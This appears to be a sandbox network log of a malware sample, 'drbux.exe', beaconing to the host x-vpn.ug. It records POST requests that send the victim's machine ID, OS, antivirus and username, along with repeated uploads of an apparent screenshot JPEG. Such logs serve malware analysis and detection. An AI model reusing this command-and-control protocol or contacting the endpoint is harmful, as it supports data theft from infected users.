Jul 19, 2021 18:35:55.414628983 CEST	7138	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:55.473375082 CEST	7138	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:55.673341036 CEST	7236	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.6	49812	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:55.640592098 CEST	7236	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:55.738662958 CEST	7237	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.6	49814	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:55.955214024 CEST	7245	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:56.047235012 CEST	7271	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.6	49815	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:56.041290998 CEST	7258	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:56.041441917 CEST	7258	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:56.041754961 CEST	7268	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:56.041840076 CEST	7271	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:56.137810946 CEST	7303	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:56.137860060 CEST	7313	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:56.137926102 CEST	7318	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:56.138098955 CEST	7325	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:56.233875036 CEST	7364	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:56.233921051 CEST	7369	OUT	Data Raw: ce 72 a2 bc df 65 3b ec 57 b1 a9 cc 9b 92 67 47 6b 6b 08 b7 bd 02 fe dc e6 10 09 0b 27 1f bc 4e 4f cb fe 73 56 bc 3f 6f 14 7a e5 bb 2d ec 12 11 bb e4 45 7c 9f 94 fa a8 15 87 1f 8d be 1b 44 93 20 f1 15 c6 25 4d 8d 9b 69 7a 6e 0d c7 ee bd 40 a9 2c Data Ascii: re;WgGkk'NOsV?oz-E\|D %Mizn@,\|y;E;:g GcXy~3?XSj,omd-/'pyMzQ&(p5h8_IfK_?i7jO8tD[&dkA;\|?
Jul 19, 2021 18:35:56.234018087 CEST	7385	OUT	Data Raw: ef a0 5d 2a a8 c9 62 54 00 3f 3a e6 ef 6c ae 74 eb c9 2d 2f 21 78 6e 22 6d af 1b 8e 41 af b3 35 15 2f a6 5d aa 82 58 c2 e0 00 39 27 69 af 34 f8 8b e1 5d 3b c5 76 4d 79 04 73 c1 a9 42 a4 ac cd 6b 22 ab 81 d9 8e de 9e fd aa a3 88 6d fb c4 ca 82 b7 Data Ascii: ]*bT?:lt-/!xn"mA5/]X9'i4];vMysBk"m\|KEpQLA[z/uIqv9>_@~-7E,eO5?w}aI\YxW4h/8"+MvOtNi( A
Jul 19, 2021 18:35:56.580962896 CEST	7423	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.6	49816	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:56.265394926 CEST	7401	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:56.375003099 CEST	7422	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.6	49818	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:56.577780962 CEST	7423	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:56.682306051 CEST	7423	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	49744	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:24.636507034 CEST	1791	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:24.636631012 CEST	1791	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:24.636835098 CEST	1801	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:24.636965036 CEST	1804	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:24.732490063 CEST	1804	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:24.732913971 CEST	1823	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:24.733942986 CEST	1830	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:24.839943886 CEST	1880	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:24.935710907 CEST	1887	OUT	Data Raw: 3e d0 ff 00 df b1 47 b6 f2 0f 67 e6 7c 49 9a 4a fb 73 ec 56 bf f3 ed 0f fd fb 14 7d 8a d7 fe 7d a1 ff 00 bf 62 97 b6 f2 0f 67 e6 7c 47 45 7d b9 f6 2b 5f f9 f6 87 fe fd 8a 3e c5 6b ff 00 3e d0 ff 00 df b1 4f db 79 07 b3 f3 3e 24 e6 8a fb 6f ec 56 Data Ascii: >Gg\|IJsV}}bg\|GE}+_>k>Oy>$oV}}bmC~bhy>$C~bhy>$C~bhy>$C~bhy>$k>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.6	49819	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:56.861293077 CEST	7430	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:56.861434937 CEST	7430	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:56.861615896 CEST	7440	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:56.861705065 CEST	7443	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:56.940993071 CEST	7447	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:56.941112041 CEST	7449	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:56.942059040 CEST	7452	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:56.942631960 CEST	7455	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:56.942920923 CEST	7458	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:56.943097115 CEST	7460	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:56.943629980 CEST	7463	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
